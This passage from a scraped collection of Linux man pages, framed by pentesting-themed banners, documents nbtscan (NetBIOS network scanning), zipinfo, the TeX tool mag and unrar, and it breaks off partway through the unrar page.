Netpbm 10.53 (December 2010) renamed the program to sunicontopnm. This name reflects the fact that there are lots of kinds of icons in the world besides the Sun variety, Windows ones being most popular. It also takes into account the new Depth=8 capability (see below).

Netpbm 10.53 (December 2010) added the ability to work with Depth=8 icon input and input with 32 bit “items.” Whereas the previous program always produced PBM output, the new program produced PGM in the Depth=8 case.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/sunicontopnm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

948 - Linux cli command nbtscan

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nbtscan and provides detailed information about the command nbtscan, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nbtscan.

NAME 🖥️ nbtscan 🖥️

scan networks for NetBIOS name information

SYNOPSIS

nbtscan [-v] [-d] [-e] [-l] [-t timeout] [-b bandwidth] [-r] [-q]
        [-s separator] [-h] [-m retransmits] [-f filename | target]

DESCRIPTION

NBTscan is a program for scanning IP networks for NetBIOS name information. It sends NetBIOS status query to each address in supplied range and lists received information in human readable form. For each responded host it lists IP address, NetBIOS computer name, logged-in user name and MAC address (such as Ethernet).

NBTscan produces a report like that:

    IP address     NetBIOS Name  Server    User           MAC address
    -----------------------------------------------------------------------
    192.168.1.2    MYCOMPUTER              JDOE           00-a0-c9-12-34-56
    192.168.1.5    WIN98COMP     <server>  RROE           00-a0-c9-78-90-00
    192.168.1.123  DPTSERVER     <server>  ADMINISTRATOR  08-00-09-12-34-56

First column lists IP address of responded host. Second column is computer name. Third column indicates if this computer shares or is able to share files or printers. For NT machine it means that Server Service is running on this computer. For Windows 95 it means that “I want to be able to give others access to my files” or “I want to be able to allow others to print on my printer(s)” checkbox is ticked (in Control Panel/Network/File and Print Sharing). Most often it means that this computer shares files. Third column shows user name. If no one is logged on from this computer it is same as computer name. Last column shows adapter MAC address.

If run with -v switch NBTscan lists whole NetBIOS name table for each responded address. The output looks like that:

    NetBIOS Name Table for Host 192.168.1.123:

    Name             Service          Type
    ----------------------------------------
    DPTSERVER        <00>             UNIQUE
    DPTSERVER        <20>             UNIQUE
    DEPARTMENT       <00>             GROUP
    DEPARTMENT       <1c>             GROUP
    DEPARTMENT       <1b>             UNIQUE
    DEPARTMENT       <1e>             GROUP
    DPTSERVER        <03>             UNIQUE
    DEPARTMENT       <1d>             UNIQUE
    ??__MSBROWSE__?  <01>             GROUP
    INet~Services    <1c>             GROUP
    IS~DPTSERVER     <00>             UNIQUE
    DPTSERVER        <01>             UNIQUE

    Adapter address: 00-a0-c9-12-34-56
    ----------------------------------------

OPTIONS

A summary of options is included below.

-v
Verbose output. Print all names received from each host.

-d
Dump packets. Print whole packet contents. Cannot be used with -v, -s or -h options.

-e
Format output in /etc/hosts format.

-l
Format output in lmhosts format.

-t <timeout>
Wait timeout seconds for response. Default 1.

-b <bandwidth>
Output throttling. Slow down output so that it uses no more that bandwidth bps. Useful on slow links, so that outgoing queries don’t get dropped.

-r
Use local port 137 for scans. Win95 boxes respond to this only. You need to be root to use this option.

-q
Suppress banners and error messages.

-s <separator>
Script-friendly output. Don’t print column and record headers, separate fields with separator**.**

-h
Print human-readable names for services. Can only be used with -v option.

-m <retransmits>
Number of retransmits**. Default 0.**

-f <filename>
Take IP addresses to scan from file “filename**”**

target
NBTscan is a command-line tool. You have to supply at least one argument, the address range, in one of three forms:

xxx.xxx.xxx.xxx
Single IP in dotted-decimal notation. Example: 192.168.1.1

xxx.xxx.xxx.xxx/xx
Net address and subnet mask. Example: 192.168.1.0/24

xxx.xxx.xxx.xxx-xxx
Address range. Example: 192.168.1.1-127. This will scan all addresses from 192.168.1.1 to 192.168.1.127

EXAMPLES

Scans the whole C-class network:

    nbtscan 192.168.1.0/24

Scans the whole C-class network, using port 137:

    nbtscan -r 192.168.1.0/24

Scans a range from 192.168.1.25 to 192.168.1.137:

    nbtscan 192.168.1.25-137

Scans C-class network. Prints results in script-friendly format using colon as field separator**:**

    nbtscan -v -s : 192.168.1.0/24

The last command produces output like that:

    192.168.0.1:NT_SERVER:00U
    192.168.0.1:MY_DOMAIN:00G
    192.168.0.1:ADMINISTRATOR:03U
    192.168.0.2:OTHER_BOX:00U
    ...

Scans IP addresses specified in file iplist:

    nbtscan -f iplist

NETBIOS SUFFIXES

NetBIOS Suffix, aka NetBIOS End Character (endchar), indicates service type for the registered name. The most known codes are listed below. (U = Unique Name, G = Group Name)

    Name                Number(h)  Type  Usage
    --------------------------------------------------------------------------

    <computername>         00       U    Workstation Service
    <computername>         01       U    Messenger Service
    <\--__MSBROWSE__>      01       G    Master Browser
    <computername>         03       U    Messenger Service
    <computername>         06       U    RAS Server Service
    <computername>         1F       U    NetDDE Service
    <computername>         20       U    File Server Service
    <computername>         21       U    RAS Client Service
    <computername>         22       U    Exchange Interchange(MSMail Connector)
    <computername>         23       U    Exchange Store
    <computername>         24       U    Exchange Directory
    <computername>         30       U    Modem Sharing Server Service
    <computername>         31       U    Modem Sharing Client Service
    <computername>         43       U    SMS Clients Remote Control
    <computername>         44       U    SMS Administrators Remote Control Tool
    <computername>         45       U    SMS Clients Remote Chat
    <computername>         46       U    SMS Clients Remote Transfer
    <computername>         87       U    Microsoft Exchange MTA
    <computername>         6A       U    Microsoft Exchange IMC
    <computername>         BE       U    Network Monitor Agent
    <computername>         BF       U    Network Monitor Application
    <username>             03       U    Messenger Service
    <domain>               00       G    Domain Name
    <domain>               1B       U    Domain Master Browser
    <domain>               1C       G    Domain Controllers
    <domain>               1D       U    Master Browser
    <domain>               1E       G    Browser Service Elections
    <INet~Services>        1C       G    IIS
    <IS~computer name>     00       U    IIS

FAQ

  1. NBTscan lists my Windows boxes just fine but does not list my Unixes or routers. Why?

R: That is the way it is supposed to work. NBTscan uses NetBIOS for scanning and NetBIOS is only implemented by Windows (and some software on Unix such as Samba).

  1. Why do I get “Connection reset by peer” errors on Windows 2000?

R: NBTscan uses port 137 UDP for sending queries. If the port is closed on destination host destination will reply with ICMP “Port unreachable” message. Most operating system will ignore this message. Windows 2000 reports it to the application as “Connection reset by peer” error. Just ignore it.

  1. Why NBTscan doesn’t scan for shares? Are you going to add share scanning to NBTscan?

R: No. NBTscan uses UDP for what it does. That makes it very fast. Share scanning requires TCP. For one thing, it will make nbtscan more slow. Also adding share scanning means adding a lot of new code to nbtscan. There is a lot of good share scanners around, so there is no reason to duplicate that work.

  1. Why do I get 00-00-00-00-00-00 instead of MAC address when I scan a Samba box?

R: Because that’s what Samba send in response to the query. Nbtscan just prints out what it gets.

AUTHOR

NBTscan was created by Alla Bezroutchko <[email protected]>. Currently is maintained by some volunteers at https://github.com/resurrecting-open-source-projects/nbtscan

This manual page was written for the first time by Ryszard Lach <[email protected]> and rewritten, from scratch, by Joao Eriberto Mota Filho <[email protected]> for the Debian GNU/Linux system (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

949 - Linux cli command zipinfo

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zipinfo and provides detailed information about the command zipinfo, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zipinfo.

NAME 🖥️ zipinfo 🖥️

list detailed information about a ZIP archive

SYNOPSIS

zipinfo [-12smlvhMtTz] file[.zip] [file(s) . . .] [-x xfile(s) . . .]

unzip -Z [-12smlvhMtTz] file[.zip] [file(s) . . .] [-x xfile(s) . . .]

DESCRIPTION

zipinfo lists technical information about files in a ZIP archive, most commonly found on MS-DOS systems. Such information includes file access permissions, encryption status, type of compression, version and operating system or file system of compressing program, and the like. The default behavior (with no options) is to list single-line entries for each file in the archive, with header and trailer lines providing summary information for the entire archive. The format is a cross between Unix ``ls -l’’ and ``unzip -v’’ output. See DETAILED DESCRIPTION below. Note that zipinfo is the same program as unzip (under Unix, a link to it); on some systems, however, zipinfo support may have been omitted when unzip was compiled.

ARGUMENTS

file[.zip]
Path of the ZIP archive(s). If the file specification is a wildcard, each matching file is processed in an order determined by the operating system (or file system). Only the filename can be a wildcard; the path itself cannot. Wildcard expressions are similar to Unix egrep(1) (regular) expressions and may contain:

  • matches a sequence of 0 or more characters

?
matches exactly 1 character

[. . .]
matches any single character found inside the brackets; ranges are specified by a beginning character, a hyphen, and an ending character. If an exclamation point or a caret (`!’ or `^’) follows the left bracket, then the range of characters within the brackets is complemented (that is, anything except the characters inside the brackets is considered a match). To specify a verbatim left bracket, the three-character sequence ``[[]’’ has to be used.

(Be sure to quote any character that might otherwise be interpreted or modified by the operating system, particularly under Unix and VMS.) If no matches are found, the specification is assumed to be a literal filename; and if that also fails, the suffix .zip is appended. Note that self-extracting ZIP files are supported, as with any other ZIP archive; just specify the .exe suffix (if any) explicitly.

[file(s)]
An optional list of archive members to be processed, separated by spaces. (VMS versions compiled with VMSCLI defined must delimit files with commas instead.) Regular expressions (wildcards) may be used to match multiple members; see above. Again, be sure to quote expressions that would otherwise be expanded or modified by the operating system.

[-x xfile(s)]
An optional list of archive members to be excluded from processing.

OPTIONS

-1
list filenames only, one per line. This option excludes all others; headers, trailers and zipfile comments are never printed. It is intended for use in Unix shell scripts.

-2
list filenames only, one per line, but allow headers (-h), trailers (-t) and zipfile comments (-z), as well. This option may be useful in cases where the stored filenames are particularly long.

-s
list zipfile info in short Unix ``ls -l’’ format. This is the default behavior; see below.

-m
list zipfile info in medium Unix ``ls -l’’ format. Identical to the -s output, except that the compression factor, expressed as a percentage, is also listed.

-l
list zipfile info in long Unix ``ls -l’’ format. As with -m except that the compressed size (in bytes) is printed instead of the compression ratio.

-v
list zipfile information in verbose, multi-page format.

-h
list header line. The archive name, actual size (in bytes) and total number of files is printed.

-M
pipe all output through an internal pager similar to the Unix more(1) command. At the end of a screenful of output, zipinfo pauses with a ``–More–’’ prompt; the next screenful may be viewed by pressing the Enter (Return) key or the space bar. zipinfo can be terminated by pressing the ``q’’ key and, on some systems, the Enter/Return key. Unlike Unix more(1), there is no forward-searching or editing capability. Also, zipinfo doesn’t notice if long lines wrap at the edge of the screen, effectively resulting in the printing of two or more lines and the likelihood that some text will scroll off the top of the screen before being viewed. On some systems the number of available lines on the screen is not detected, in which case zipinfo assumes the height is 24 lines.

-t
list totals for files listed or for all files. The number of files listed, their uncompressed and compressed total sizes , and their overall compression factor is printed; or, if only the totals line is being printed, the values for the entire archive are given. The compressed total size does not include the 12 additional header bytes of each encrypted entry. Note that the total compressed (data) size will never match the actual zipfile size, since the latter includes all of the internal zipfile headers in addition to the compressed data.

-T
print the file dates and times in a sortable decimal format (yymmdd.hhmmss). The default date format is a more standard, human-readable version with abbreviated month names (see examples below).

-U
[UNICODE_SUPPORT only] modify or disable UTF-8 handling. When UNICODE_SUPPORT is available, the option -U forces unzip to escape all non-ASCII characters from UTF-8 coded filenames as ``#Uxxxx’’. This option is mainly provided for debugging purpose when the fairly new UTF-8 support is suspected to mangle up extracted filenames.

The option -UU allows to entirely disable the recognition of UTF-8 encoded filenames. The handling of filename codings within unzip falls back to the behaviour of previous versions.

-z
include the archive comment (if any) in the listing.

DETAILED DESCRIPTION

zipinfo has a number of modes, and its behavior can be rather difficult to fathom if one isn’t familiar with Unix ls(1) (or even if one is). The default behavior is to list files in the following format:

-rw-rws---  1.9 unx    2802 t- defX 11-Aug-91 13:48 perms.2660

The last three fields are the modification date and time of the file, and its name. The case of the filename is respected; thus files that come from MS-DOS PKZIP are always capitalized. If the file was zipped with a stored directory name, that is also displayed as part of the filename.

The second and third fields indicate that the file was zipped under Unix with version 1.9 of zip. Since it comes from Unix, the file permissions at the beginning of the line are printed in Unix format. The uncompressed file-size (2802 in this example) is the fourth field.

The fifth field consists of two characters, either of which may take on several values. The first character may be either `t’ or `b’, indicating that zip believes the file to be text or binary, respectively; but if the file is encrypted, zipinfo notes this fact by capitalizing the character (`T’ or `B’). The second character may also take on four values, depending on whether there is an extended local header and/or an ``extra field’’ associated with the file (fully explained in PKWare’s APPNOTE.TXT, but basically analogous to pragmas in ANSI C–i.e., they provide a standard way to include non-standard information in the archive). If neither exists, the character will be a hyphen (`-’); if there is an extended local header but no extra field, `l’; if the reverse, `x’; and if both exist, `X’. Thus the file in this example is (probably) a text file, is not encrypted, and has neither an extra field nor an extended local header associated with it. The example below, on the other hand, is an encrypted binary file with an extra field:

RWD,R,R     0.9 vms     168 Bx shrk  9-Aug-91 19:15 perms.0644

Extra fields are used for various purposes (see discussion of the -v option below) including the storage of VMS file attributes, which is presumably the case here. Note that the file attributes are listed in VMS format. Some other possibilities for the host operating system (which is actually a misnomer–host file system is more correct) include OS/2 or NT with High Performance File System (HPFS), MS-DOS, OS/2 or NT with File Allocation Table (FAT) file system, and Macintosh. These are denoted as follows:

-rw-a--     1.0 hpf    5358 Tl i4:3  4-Dec-91 11:33 longfilename.hpfs


-r--ahs     1.1 fat    4096 b- i4:2 14-Jul-91 12:58 EA DATA. SF


--w-------  1.0 mac   17357 bx i8:2  4-May-92 04:02 unzip.macr

File attributes in the first two cases are indicated in a Unix-like format, where the seven subfields indicate whether the file: (1) is a directory, (2) is readable (always true), (3) is writable, (4) is executable (guessed on the basis of the extension–.exe, .com, .bat, .cmd and .btm files are assumed to be so), (5) has its archive bit set, (6) is hidden, and (7) is a system file. Interpretation of Macintosh file attributes is unreliable because some Macintosh archivers don’t store any attributes in the archive.

Finally, the sixth field indicates the compression method and possible sub-method used. There are six methods known at present: storing (no compression), reducing, shrinking, imploding, tokenizing (never publicly released), and deflating. In addition, there are four levels of reducing (1 through 4); four types of imploding (4K or 8K sliding dictionary, and 2 or 3 Shannon-Fano trees); and four levels of deflating (superfast, fast, normal, maximum compression). zipinfo represents these methods and their sub-methods as follows: stor; re:1, re:2, etc.; shrk; i4:2, i8:3, etc.; tokn; and defS, defF, defN, and defX.

The medium and long listings are almost identical to the short format except that they add information on the file’s compression. The medium format lists the file’s compression factor as a percentage indicating the amount of space that has been ``removed’':

-rw-rws---  1.5 unx    2802 t- 81% defX 11-Aug-91 13:48 perms.2660

In this example, the file has been compressed by more than a factor of five; the compressed data are only 19% of the original size. The long format gives the compressed file’s size in bytes, instead:

-rw-rws---  1.5 unx    2802 t-     538 defX 11-Aug-91 13:48 perms.2660

In contrast to the unzip listings, the compressed size figures in this listing format denote the complete size of compressed data, including the 12 extra header bytes in case of encrypted entries.

Adding the -T option changes the file date and time to decimal format:

-rw-rws---  1.5 unx    2802 t-     538 defX 910811.134804 perms.2660

Note that because of limitations in the MS-DOS format used to store file times, the seconds field is always rounded to the nearest even second. For Unix files this is expected to change in the next major releases of zip(1) and unzip.

In addition to individual file information, a default zipfile listing also includes header and trailer lines:

Archive:  OS2.zip   5453 bytes   5 files


,,rw,       1.0 hpf     730 b- i4:3 26-Jun-92 23:40 Contents


,,rw,       1.0 hpf    3710 b- i4:3 26-Jun-92 23:33 makefile.os2


,,rw,       1.0 hpf    8753 b- i8:3 26-Jun-92 15:29 os2unzip.c


,,rw,       1.0 hpf      98 b- stor 21-Aug-91 15:34 unzip.def


,,rw,       1.0 hpf      95 b- stor 21-Aug-91 17:51 zipinfo.def


5 files, 13386 bytes uncompressed, 4951 bytes compressed:  63.0%

The header line gives the name of the archive, its total size, and the total number of files; the trailer gives the number of files listed, their total uncompressed size, and their total compressed size (not including any of zip’s internal overhead). If, however, one or more file(s) are provided, the header and trailer lines are not listed. This behavior is also similar to that of Unix’s ``ls -l’’; it may be overridden by specifying the -h and -t options explicitly. In such a case the listing format must also be specified explicitly, since -h or -t (or both) in the absence of other options implies that ONLY the header or trailer line (or both) is listed. See the EXAMPLES section below for a semi-intelligible translation of this nonsense.

The verbose listing is mostly self-explanatory. It also lists file comments and the zipfile comment, if any, and the type and number of bytes in any stored extra fields. Currently known types of extra fields include PKWARE’s authentication (``AV’’) info; OS/2 extended attributes; VMS filesystem info, both PKWARE and Info-ZIP versions; Macintosh resource forks; Acorn/Archimedes SparkFS info; and so on. (Note that in the case of OS/2 extended attributes–perhaps the most common use of zipfile extra fields–the size of the stored EAs as reported by zipinfo may not match the number given by OS/2’s dir command: OS/2 always reports the number of bytes required in 16-bit format, whereas zipinfo always reports the 32-bit storage.)

Again, the compressed size figures of the individual entries include the 12 extra header bytes for encrypted entries. In contrast, the archive total compressed size and the average compression ratio shown in the summary bottom line are calculated without the extra 12 header bytes of encrypted entries.

ENVIRONMENT OPTIONS

Modifying zipinfo’s default behavior via options placed in an environment variable can be a bit complicated to explain, due to zipinfo’s attempts to handle various defaults in an intuitive, yet Unix-like, manner. (Try not to laugh.) Nevertheless, there is some underlying logic. In brief, there are three ``priority levels’’ of options: the default options; environment options, which can override or add to the defaults; and explicit options given by the user, which can override or add to either of the above.

The default listing format, as noted above, corresponds roughly to the “zipinfo -hst” command (except when individual zipfile members are specified). A user who prefers the long-listing format (-l) can make use of the zipinfo’s environment variable to change this default:

Unix Bourne shell:
ZIPINFO=-l; export ZIPINFO

Unix C shell:
setenv ZIPINFO -l

OS/2 or MS-DOS:
set ZIPINFO=-l

VMS (quotes for lowercase):
define ZIPINFO_OPTS "-l"

If, in addition, the user dislikes the trailer line, zipinfo’s concept of ``negative options’’ may be used to override the default inclusion of the line. This is accomplished by preceding the undesired option with one or more minuses: e.g., ``-l-t’’ or ``--tl’’, in this example. The first hyphen is the regular switch character, but the one before the `t’ is a minus sign. The dual use of hyphens may seem a little awkward, but it’s reasonably intuitive nonetheless: simply ignore the first hyphen and go from there. It is also consistent with the behavior of the Unix command nice(1).

As suggested above, the default variable names are ZIPINFO_OPTS for VMS (where the symbol used to install zipinfo as a foreign command would otherwise be confused with the environment variable), and ZIPINFO for all other operating systems. For compatibility with zip(1), ZIPINFOOPT is also accepted (don’t ask). If both ZIPINFO and ZIPINFOOPT are defined, however, ZIPINFO takes precedence. unzip’s diagnostic option (-v with no zipfile name) can be used to check the values of all four possible unzip and zipinfo environment variables.

EXAMPLES

To get a basic, short-format listing of the complete contents of a ZIP archive storage.zip, with both header and totals lines, use only the archive name as an argument to zipinfo:

zipinfo storage

To produce a basic, long-format listing (not verbose), including header and totals lines, use -l:

zipinfo -l storage

To list the complete contents of the archive without header and totals lines, either negate the -h and -t options or else specify the contents explicitly:

zipinfo --h-t storage
zipinfo storage \*

(where the backslash is required only if the shell would otherwise expand the `*’ wildcard, as in Unix when globbing is turned on–double quotes around the asterisk would have worked as well). To turn off the totals line by default, use the environment variable (C shell is assumed here):

setenv ZIPINFO --t
zipinfo storage

To get the full, short-format listing of the first example again, given that the environment variable is set as in the previous example, it is necessary to specify the -s option explicitly, since the -t option by itself implies that ONLY the footer line is to be printed:

setenv ZIPINFO --t
zipinfo -t storage            [only totals line]
zipinfo -st storage           [full listing]

The -s option, like -m and -l, includes headers and footers by default, unless otherwise specified. Since the environment variable specified no footers and that has a higher precedence than the default behavior of -s, an explicit -t option was necessary to produce the full listing. Nothing was indicated about the header, however, so the -s option was sufficient. Note that both the -h and -t options, when used by themselves or with each other, override any default listing of member files; only the header and/or footer are printed. This behavior is useful when zipinfo is used with a wildcard zipfile specification; the contents of all zipfiles are then summarized with a single command.

To list information on a single file within the archive, in medium format, specify the filename explicitly:

zipinfo -m storage unshrink.c

The specification of any member file, as in this example, will override the default header and totals lines; only the single line of information about the requested file will be printed. This is intuitively what one would expect when requesting information about a single file. For multiple files, it is often useful to know the total compressed and uncompressed size; in such cases -t may be specified explicitly:

zipinfo -mt storage "*.[ch]" Mak\*

To get maximal information about the ZIP archive, use the verbose option. It is usually wise to pipe the output into a filter such as Unix more(1) if the operating system allows it:

zipinfo -v storage | more

Finally, to see the most recently modified files in the archive, use the -T option in conjunction with an external sorting utility such as Unix sort(1) (and sed(1) as well, in this example):

zipinfo -T storage | sort -nr -k 7 | sed 15q

The -nr option to sort(1) tells it to sort numerically in reverse order rather than in textual order, and the -k 7 option tells it to sort on the seventh field. This assumes the default short-listing format; if -m or -l is used, the proper sort(1) option would be -k 8. Older versions of sort(1) do not support the -k option, but you can use the traditional + option instead, e.g., +6 instead of -k 7. The sed(1) command filters out all but the first 15 lines of the listing. Future releases of zipinfo may incorporate date/time and filename sorting as built-in options.

TIPS

The author finds it convenient to define an alias ii for zipinfo on systems that allow aliases (or, on other systems, copy/rename the executable, create a link or create a command file with the name ii). The ii usage parallels the common ll alias for long listings in Unix, and the similarity between the outputs of the two commands was intentional.

BUGS

As with unzip, zipinfo’s -M (``more’’) option is overly simplistic in its handling of screen output; as noted above, it fails to detect the wrapping of long lines and may thereby cause lines at the top of the screen to be scrolled off before being read. zipinfo should detect and treat each occurrence of line-wrap as one additional line printed. This requires knowledge of the screen’s width as well as its height. In addition, zipinfo should detect the true screen geometry on all systems.

zipinfo’s listing-format behavior is unnecessarily complex and should be simplified. (This is not to say that it will be.)

SEE ALSO

ls(1), funzip(1), unzip(1), unzipsfx(1), zip(1), zipcloak(1), zipnote(1), zipsplit(1)

URL

The Info-ZIP home page is currently at

http://www.info-zip.org/pub/infozip/

or

ftp://ftp.info-zip.org/pub/infozip/ .

AUTHOR

Greg ``Cave Newt’’ Roelofs. ZipInfo contains pattern-matching code by Mark Adler and fixes/improvements by many others. Please refer to the CONTRIBS file in the UnZip source distribution for a more complete list.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

950 - Linux cli command mag

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mag and provides detailed information about the command mag, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mag.

NAME 🖥️ mag 🖥️

computes TeX fontsizes and magsteps

SYNOPSIS

mag [-Rdpi] magstep . . .

mag [-r*] [-Rdpi] fontsize . . .*

DESCRIPTION

delim $$

This tool calculates fontsizes given magsteps. TeXfonts are provided as true sized fonts or as magnifications. The fontsize of a true sized font equals the resolution of the printer (ex. 300). The fontsize of a font magnified $n$ magsteps equals:

1.2 sup{n} times 300 delim off

rounded to its nearest integer value. Fontnames for TeX fonts normally consists of the name (cmr), pointsize (10), type (pk) and fontsize (360), for example: cmr10.360pk.

EXAMPLES

The result of mag -R240 -2 0 0.5 1 will be:

167 240 263 288 

The inverse function is computed with the -r option. The result of mag -r -R240 167 240 263 288 will be the fontsteps:

-2 0 0.5 1

The UNIX shells allow command substitution. One can write:

mag -r -R240 `mag -R240 -2 0 0.5 1`

DATE

18 December, 1989

AUTHOR

Piet Tutelaers
University of Technology Eindhoven
Maintained in TeX Live; please send bug reports or other correspondence
to [email protected] (http://lists.tug.org/tex-k).
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

951 - Linux cli command unrar

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command unrar and provides detailed information about the command unrar, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the unrar.

NAME 🖥️ unrar 🖥️

extract files from rar archives

SYNOPSIS

unrar command [-switch …] archive"["file …] [@listfiles …] [path …] [path_to_extract/]

DESCRIPTION

This manual page documents briefly the unrar command.
This manual page was written for the Debian GNU/Linux distribution because the original program does not have a manual page.
Commands and options described here are as of unrar 6.0.

USAGE

archive
Archive file name in RAR or other supported format. If archive file uses RAR multiple volume format, specify only first volume file name as archive file name.

file …
File path name to extract. You can specify more path names at one time.

@listfiles …
If argument starts with “@”, unrar uses listfile as file path list file. This list file includes file path list to extract from archive file. You can use 2 or more list files at one time.
File list uses one line for one file path. And blank line is ignored.
This file is used to extract many file path names in one time that your shell can’t accept.

path_to_extract
If last argument is ended with “/”, unrar uses path_to_extract as file extraction target path.

COMMANDS

After the program name comes a command and then optional switches with dashes before them. A summary of commands is included below. For a complete description, run unrar without options.

e
Extract files to current directory.

l[t[a],b]
List archive content [technical[all], bare].

p
Print file to stdout.

t
Test archive files.

v[t[a],b]
Verbosely list archive [technical[all], bare].

x
Extract files with full path.

OPTIONS

NOTE: Every switch must be separated by a whitespace. You cannot put them together.

-
Stop switches scanning.

@[+]
Disable [enable] file lists.

-ad[1,2]
Alternate destination path

-ag[format]
Generate archive name using the current date.

-ai
Ignore file attributes.

-ap<path>
Set path inside archive.

-c-
Disable comments show.

-cfg-
Disable read configuration.

-cl
Convert names to lower case.

-cu
Convert names to upper case.

-dh
Open shared files.

-ep
Exclude paths from names.

-ep3
Expand paths to full name.

-f
Freshen files.

-id[c,d,n,p,q]
Display or disable messages.

-kb
Keep broken extracted files.

-ierr
Send all messages to stderr.

-inul
Disable all messages.

-n<file>
Additionally filter included files.

-n@
Read additional filter masks from stdin.

-n@<list>
Read additional filter masks from list file.

-o+
Overwrite existing files.

-o-
Do not overwrite existing files.

-ol[a]
Process symbolic links as the link [absolute paths].

-or
Rename files automatically.

-ow
Save or restore file owner and group.

-ppassword
Set password.

-p-
Do not query password.

-r
Recurse subdirectories.

-sc<chr>[obj]
Specify the character set.

-sl<size>
Process files with size less than specified.

-sm<size>
Process files with size more than specified.

-ta[mcao]<d>
Process files modified after <d> YYYYMMDDHHMMSS date.

-tb[mcao]<d>
Process files modified before <d> YYYYMMDDHHMMSS date.

-tn[mcao]<t>
Process files newer than <t> time.

-to[mcao]<t>
Process files older than <t> time.

-ts[m,c,a,p]
Save or restore time (modification, creation, access, preserve).

-u
Update files.

-v
List all volumes.

-ver[n]
File version control.

-vp
Pause before each volume.

-x<file>
Exclude specified file.

-x@<list>
Exclude files in specified list file.

-x@
Read file names to exclude from stdin.

-y
Assume Yes on all queries.

FILES

$HOME/.rarrc

/etc/.rarrc

/etc/rar/.rarrc

/usr/lib/.rarrc

/usr/local/lib/.rarrc

/usr/local/etc/.rarrc
UnRAR (and RAR) configuration file.

Syntax: (switches for all commands)
